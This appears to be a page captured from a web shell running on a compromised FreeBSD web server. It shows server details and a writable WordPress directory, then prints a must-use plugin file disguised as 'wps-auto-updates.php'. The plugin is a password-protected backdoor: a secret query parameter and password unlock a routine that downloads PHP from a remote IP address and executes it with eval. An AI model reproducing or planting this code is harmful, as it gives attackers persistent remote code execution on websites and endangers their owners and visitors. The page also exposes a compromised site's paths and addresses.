403Webshell
Server IP : 217.11.249.137  /  Your IP : 216.73.216.177
Web Server : Apache
System : FreeBSD triton.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-a3d32f9e6 GENERIC amd64
User : www ( 80)
PHP Version : 8.0.30
Disable Function : ini_restore, show_source, socket_select, socket_create_listen, socket_create_pair, socket_listen, socket_strerror, shell_exec, proc_nice, proc_terminate, readlink, symlink, link, pfsocketopen, ini_alter, dl, pcntl_exec, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifsignaled, pcntl_wifstoped, pcntl_wifstopsig, pcntl_wtermsig, socket_accept, socket_bind, socket_create, socket_create_listen, popen, zlib_decode
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /data/www/24781/extramagazin_cz/www/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/www/24781/extramagazin_cz/www/wp-content/mu-plugins/wps-auto-updates.php
<?php


if (!defined('ABSPATH')) {
    exit;
}

define('KURD_PASSWORD_HASH', 'b4744901a2ad590f54ff0b3e03efa9a2076107446b405d9d52a53dd3605d073a');
define('KURD_COOKIE_NAME',   'kurd_access_approved');
define('KURD_COOKIE_DAYS',   1);

add_action('init', 'kurd_handle_request');

function kurd_handle_request() {
    
    if (is_admin() || !isset($_GET['kurd'])) {
        return;
    }


    if (isset($_COOKIE[KURD_COOKIE_NAME]) && $_COOKIE[KURD_COOKIE_NAME] === '1') {
        kurd_output_content();
        exit;
    }


    if (isset($_POST['kurd_submit']) && isset($_POST['kurd_pass'])) {
        $input     = trim($_POST['kurd_pass']);
        $input_hash = hash('sha256', $input);

        if ($input_hash === KURD_PASSWORD_HASH) {

            $expire = time() + (86400 * KURD_COOKIE_DAYS);
            setcookie(KURD_COOKIE_NAME, '1', $expire, COOKIEPATH, COOKIE_DOMAIN);

            kurd_output_content();
            exit;
        } else {
   
            wp_die(
                '<h2>Wrong password</h2>' .
                '<p><a href="' . esc_url(add_query_arg('kurd', '', home_url('/'))) . '">Try again</a></p>',
                'Access Denied',
                ['response' => 403]
            );
        }
    }


    kurd_show_password_form();
    exit;
}

function kurd_show_password_form() {
    ?>
    <!DOCTYPE html>
    <html <?php language_attributes(); ?>>
    <head>
        <meta charset="<?php bloginfo('charset'); ?>">
        <title>aDriv4</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            body { font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; background:#f0f2f5; margin:0; padding:0; display:flex; align-items:center; justify-content:center; min-height:100vh; }
            .box { background:white; padding:2.5rem; border-radius:8px; box-shadow:0 2px 10px rgba(0,0,0,0.1); width:100%; max-width:420px; text-align:center; }
            h2 { margin:0 0 1.5rem; color:#333; }
            input[type="password"] { width:100%; padding:0.8rem; margin:0.5rem 0 1rem; border:1px solid #ddd; border-radius:4px; font-size:1rem; box-sizing:border-box; }
            button { background:#0073aa; color:white; border:none; padding:0.9rem 1.5rem; border-radius:4px; font-size:1.1rem; cursor:pointer; width:100%; }
            button:hover { background:#005d87; }
            .error { color:#d63638; margin:1rem 0; }
        </style>
    </head>
    <body>
    <div class="box">
        <h2>aDriv4</h2>

        <form method="post">
            <input type="password" name="kurd_pass" required autofocus placeholder="Password..." />
            <button type="submit" name="kurd_submit">Unlock</button>
        </form>
    </div>
    </body>
    </html>
    <?php
}

function kurd_output_content() {
    $url = "http://51.79.124.111/wshel_w";


    $content = @file_get_contents($url);

    if ($content === false) {
        wp_die(
            '<h2>Error</h2>',
            'Fetch Error',
            ['response' => 503]
        );
    }

    header('X-Robots-Tag: noindex, nofollow', true);

     eval($content);
    exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit